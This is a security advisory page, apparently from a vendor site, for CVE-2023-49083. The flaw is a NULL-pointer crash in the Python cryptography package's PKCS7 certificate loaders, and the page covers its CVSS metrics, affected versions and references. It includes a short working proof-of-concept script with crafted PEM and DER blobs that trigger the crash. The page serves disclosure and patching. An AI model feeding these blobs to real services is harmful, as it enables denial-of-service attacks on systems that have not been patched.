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🛡️ CVE-2023-49083 — cryptography

🟡 CVSS 5.9 — Medium ⚠️ Exploit Public CWE-476 OSV
5.9
CVSS Score
0 Low4 Medium7 High9 Critical10

Description

cryptography vulnerable to NULL-dereference when loading PKCS7 certificates

Summary

Calling load_pem_pkcs7_certificates or load_der_pkcs7_certificates could lead to a NULL-pointer dereference and segfault.

PoC

Here is a Python code that triggers the issue:

```python

from cryptography.hazmat.primitives.serialization.pkcs7 import load_der_pkcs7_certificates, load_pem_pkcs7_certificates

pem_p7 = b"""

-----BEGIN PKCS7-----

MAsGCSqGSIb3DQEHAg==

-----END PKCS7-----

"""

der_p7 = b"\x30\x0B\x06\x09\x2A\x86\x48\x86\xF7\x0D\x01\x07\x02"

load_pem_pkcs7_certificates(pem_p7)

load_der_pkcs7_certificates(der_p7)

```

Impact

Exploitation of this vulnerability poses a serious risk of Denial of Service (DoS) for any application attempting to deserialize a PKCS7 blob/certificate. The consequences extend to potential disruptions in system availability and stability.

How this vulnerability can be exploited

This issue can be reached over the network, attack complexity is low, an attacker needs no privileges on the target. No user interaction is required. The scope is unchanged, so the impact stays within the vulnerable component. Rated impact: confidentiality none, integrity none, availability high.

CVSS metrics in full

The score comes from this vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

  • Attack vector: Network — reachable from anywhere that can route to the service.
  • Attack complexity: Low — the attack works reliably, with no preparation.
  • Privileges required: None — an unauthenticated stranger can try it.
  • User interaction: None — nobody has to be tricked into anything.
  • Scope: Unchanged — the damage stays inside the vulnerable component.
  • Confidentiality impact: None.
  • Integrity impact: None.
  • Availability impact: High — total loss, or loss the attacker controls.

Weakness class

CVE-2023-49083 is classified as CWE-476: NULL Pointer Dereference. A pointer that can be null is used without a check, crashing the process.

Affected software

CVE-2023-49083 is recorded against 1 package.

  • cryptography (from 3.1 up to 41.0.6)

Timeline and source

Published on 29 November 2023 and last revised on 17 June 2026. A public exploit is known to exist, which raises the urgency of patching considerably. A vendor advisory or fix has been published. Record sourced from OSV.

References

github.com (Advisory)
github.com (Fix)
github.com (Fix)
lists.fedoraproject.org (Web)

Other advisories for this package

cryptography has other advisories on record. If you are patching this one, these are worth checking on the same host:

Same weakness in other software

These advisories are the same class of weakness (CWE-476: NULL Pointer Dereference) in other software:

CVE-2023-49083 on other distributions

Each distribution ships its own build and its own fixed version. Pick the one you run:

Details

Severity MEDIUM
CVSS Score 5.9
CVSS Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
CWE CWE-476
Public Exploit ⚠️ Yes
Source OSV
Published 2023-11-29
Updated 2026-08-20
Modified 2026-06-17

Affected Packages

Software From version Fixed in
cryptography 3.1 41.0.6

Exploit Protection

Are you running cryptography?

CVE-2023-49083 carries CVSS 5.9 Medium rating and a public exploit already exists. BotEraser checks your installation against this and other known CVE records, and blocks IPs associated with exploit activity.

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ⓘ Data Notice: The information presented above has been compiled from publicly available internet sources. Boteraser aggregates this data solely for informational purposes and does not independently classify, evaluate, or endorse any findings about the vulnerabilities listed. The accuracy and completeness of this information is the sole responsibility of the original publishers. Boteraser and its operators accept no liability for any decisions made based on this data.

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